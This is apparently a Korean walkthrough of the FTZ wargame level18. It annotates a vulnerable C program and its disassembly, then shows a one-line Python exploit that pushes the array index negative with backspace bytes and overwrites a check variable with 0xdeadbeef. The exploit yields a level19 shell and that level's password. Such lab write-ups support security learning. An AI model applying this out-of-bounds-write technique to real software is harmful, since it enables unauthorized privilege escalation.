[level18@ftz level18]$ cat hint
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
cat 명령어로 hint를 출력하니 긴 소스코드가 출력되었습니다. 해석해보면
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef) // 만약 check가 0xdeadbeef라면
shellout(); // shellout() 함수 호출
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08: // x가 0x08이면
count--; // count 감소
printf("\b \b");
break; // break
default: // 나머지는
string[count] = x;
count++; // count 증가
break; // break
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099); // ruid와 euid를 3099로 설정
execl("/bin/sh","sh",NULL); // /bin/sh 프로그램을 실행
}
0x08을 계속 넣어서 index를 음수로 만들고 check 변수에 접근하여 값을 0xdeadbeef로 변조하면 될거 같습니다.
메모리 구조를 분석해보면
0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef // compare check, 0xdeadbeef
0x080485b2 <main+98>: jne 0x80485c0 <main+112> // 다르면 main+112로 jump
0x080485b4 <main+100>: call 0x8048780 <shellout> // shellout() 함수 호출
0x0804870c <main+444>: cmp DWORD PTR [ebp-252],0x8
0x08048713 <main+451>: je 0x8048731 <main+481> // case 0x8:
0x08048715 <main+453>: jmp 0x8048743 <main+499>
0x08048731 <main+481>: dec DWORD PTR [ebp-112] // count--
0x08048734 <main+484>: push 0x8048833
0x08048739 <main+489>: call 0x8048470 <printf>
0x0804873e <main+494>: add esp,0x4
0x08048741 <main+497>: jmp 0x8048770 <main+544>
0x08048717 <main+455>: cmp DWORD PTR [ebp-252],0xd
0x0804871e <main+462>: je 0x8048722 <main+466>
0x08048720 <main+464>: jmp 0x8048743 <main+499>
0x08048743 <main+499>: lea eax,[ebp-100]
0x08048746 <main+502>: mov DWORD PTR [ebp-252],eax
0x0804874c <main+508>: mov edx,DWORD PTR [ebp-112]
0x0804874f <main+511>: mov cl,BYTE PTR [ebp-108]
0x08048752 <main+514>: mov BYTE PTR [ebp-253],cl
0x08048758 <main+520>: mov al,BYTE PTR [ebp-253]
0x0804875e <main+526>: mov ecx,DWORD PTR [ebp-252]
0x08048764 <main+532>: mov BYTE PTR [edx+ecx],al //string[count] = x
0x08048767 <main+535>: inc DWORD PTR [ebp-112] // count++
0x0804876a <main+538>: jmp 0x8048770 <main+544>
0x0804876c <main+540>: lea esi,[esi*1]
0x08048770 <main+544>: jmp 0x8048591 <main+65>
메모리 구조를 그려보면

string 바로 위에 check 변수가 있으니 4칸만 올라가서 값을 변조하면 됩니다.
배열 주소 = 시작주소 + Index * 자료형 크기
이기 때문에, case: 0x8 문을 4번 실행시켜서 4칸 위로 올라가고
check 값으로 0xdeadbeef를 입력하면 default문이 실행되어 한 칸씩 내려가며 1Byte 단위로 입력을 받게 됩니다.
익스플로잇 코드를 짜보면
0x8 * 4 + 0xdeadbeef
(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme
익스플로잇 코드를 실행시켜보면
[level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme
Enter your command: whoami
level19
쉘이 떴습니다.
패스워드를 출력해보면
my-pass
Level19 Password is "swimming in pink".